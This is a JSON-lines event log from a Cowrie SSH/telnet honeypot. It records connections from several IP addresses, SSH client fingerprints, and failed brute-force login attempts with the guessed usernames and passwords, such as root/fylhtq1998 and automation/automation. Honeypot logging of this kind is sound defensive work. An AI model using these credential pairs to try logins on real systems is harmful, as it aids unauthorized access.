{"eventid":"cowrie.session.closed","duration":35.064029693603516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:20.727675Z","src_ip":"172.81.62.90","session":"541fc8090074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.15178084373474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:22.886715Z","src_ip":"172.81.62.90","session":"e818a5b85e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.510907888412476,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:25.237570Z","src_ip":"172.81.62.90","session":"d06756710fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48166,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b80f4984ffc","protocol":"ssh","message":"New connection: 103.27.238.120:48166 (159.203.135.109:22) [session: 4b80f4984ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:40.366438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:40.370161Z","src_ip":"103.27.238.120","session":"4b80f4984ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:40.644432Z","src_ip":"103.27.238.120","session":"4b80f4984ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fylhtq1998","message":"login attempt [root/fylhtq1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:41.458740Z","src_ip":"103.27.238.120","session":"4b80f4984ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:42.731817Z","src_ip":"103.27.238.120","session":"4b80f4984ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":38888,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c25bf6efb5","protocol":"telnet","message":"New connection: 128.199.209.169:38888 (159.203.135.109:23) [session: 03c25bf6efb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:22.134149Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53186,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff959cdcf257","protocol":"ssh","message":"New connection: 27.71.230.31:53186 (159.203.135.109:22) [session: ff959cdcf257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:30.234888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:30.276321Z","src_ip":"27.71.230.31","session":"ff959cdcf257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:32.765813Z","src_ip":"27.71.230.31","session":"ff959cdcf257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crackingworld123","message":"login attempt [root/crackingworld123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:38.866918Z","src_ip":"27.71.230.31","session":"ff959cdcf257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:42.549625Z","src_ip":"27.71.230.31","session":"ff959cdcf257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":40342,"dst_ip":"159.203.135.109","dst_port":22,"session":"87903693924b","protocol":"ssh","message":"New connection: 92.113.145.209:40342 (159.203.135.109:22) [session: 87903693924b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.064461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.070279Z","src_ip":"92.113.145.209","session":"87903693924b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":52494,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa3a545f2f69","protocol":"ssh","message":"New connection: 101.47.159.125:52494 (159.203.135.109:22) [session: fa3a545f2f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.137060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.141145Z","src_ip":"101.47.159.125","session":"fa3a545f2f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.177304Z","src_ip":"92.113.145.209","session":"87903693924b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.388141Z","src_ip":"101.47.159.125","session":"fa3a545f2f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"global","password":"global","message":"login attempt [global/global] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:49.651299Z","src_ip":"92.113.145.209","session":"87903693924b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"automation","password":"automation","message":"login attempt [automation/automation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:50.409082Z","src_ip":"101.47.159.125","session":"fa3a545f2f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:50.762309Z","src_ip":"92.113.145.209","session":"87903693924b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":43366,"dst_ip":"159.203.135.109","dst_port":23,"session":"82b998fd48fb","protocol":"telnet","message":"New connection: 128.199.209.169:43366 (159.203.135.109:23) [session: 82b998fd48fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:51.002865Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:33:51.660058Z","src_ip":"101.47.159.125","session":"fa3a545f2f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.10455656051636,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:34:04.238538Z","src_ip":"128.199.209.169","session":"03c25bf6efb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.484890937805176,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:34:31.487621Z","src_ip":"128.199.209.169","session":"82b998fd48fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45338,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e10b06d8925","protocol":"telnet","message":"New connection: 128.199.8.54:45338 (159.203.135.109:23) [session: 7e10b06d8925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:35:03.810708Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"04524d807aad","protocol":"telnet","message":"New connection: 107.6.151.170:46696 (159.203.135.109:23) [session: 04524d807aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:35:22.104964Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52258,"dst_ip":"10.17.0.5","dst_port":23,"session":"21665a89115a","protocol":"telnet","message":"New connection: 94.23.66.112:52258 (10.17.0.5:23) [session: 21665a89115a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:35:38.447726Z"}
{"eventid":"cowrie.session.closed","duration":46.04985427856445,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:35:49.860393Z","src_ip":"128.199.8.54","session":"7e10b06d8925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50690,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced3c25396cd","protocol":"telnet","message":"New connection: 94.23.66.112:50690 (10.17.0.5:23) [session: ced3c25396cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:11.183210Z"}
{"eventid":"cowrie.session.closed","duration":0.008448123931884766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:11.191522Z","src_ip":"94.23.66.112","session":"ced3c25396cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38298,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b60013d817","protocol":"ssh","message":"New connection: 101.47.159.125:38298 (159.203.135.109:22) [session: f8b60013d817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:12.198071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:12.202318Z","src_ip":"101.47.159.125","session":"f8b60013d817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:12.442771Z","src_ip":"101.47.159.125","session":"f8b60013d817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xq","password":"123","message":"login attempt [xq/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:13.445398Z","src_ip":"101.47.159.125","session":"f8b60013d817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:14.689243Z","src_ip":"101.47.159.125","session":"f8b60013d817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":47950,"dst_ip":"159.203.135.109","dst_port":22,"session":"f551994c6565","protocol":"ssh","message":"New connection: 92.113.145.209:47950 (159.203.135.109:22) [session: f551994c6565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:21.823660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:21.828237Z","src_ip":"92.113.145.209","session":"f551994c6565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:21.946415Z","src_ip":"92.113.145.209","session":"f551994c6565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"automation","password":"automation","message":"login attempt [automation/automation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:22.415607Z","src_ip":"92.113.145.209","session":"f551994c6565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:23.527937Z","src_ip":"92.113.145.209","session":"f551994c6565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.88273549079895,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:33.987595Z","src_ip":"107.6.151.170","session":"04524d807aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.879145860672,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:36.326750Z","src_ip":"94.23.66.112","session":"21665a89115a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":41344,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b2fd9b2400","protocol":"ssh","message":"New connection: 38.93.206.2:41344 (10.17.0.5:22) [session: 65b2fd9b2400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:58.875341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:58.881388Z","src_ip":"38.93.206.2","session":"65b2fd9b2400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:58.934804Z","src_ip":"38.93.206.2","session":"65b2fd9b2400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf2001","message":"login attempt [root/ybrbnf2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:36:59.087698Z","src_ip":"38.93.206.2","session":"65b2fd9b2400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:00.140273Z","src_ip":"38.93.206.2","session":"65b2fd9b2400","protocol":"ssh"}
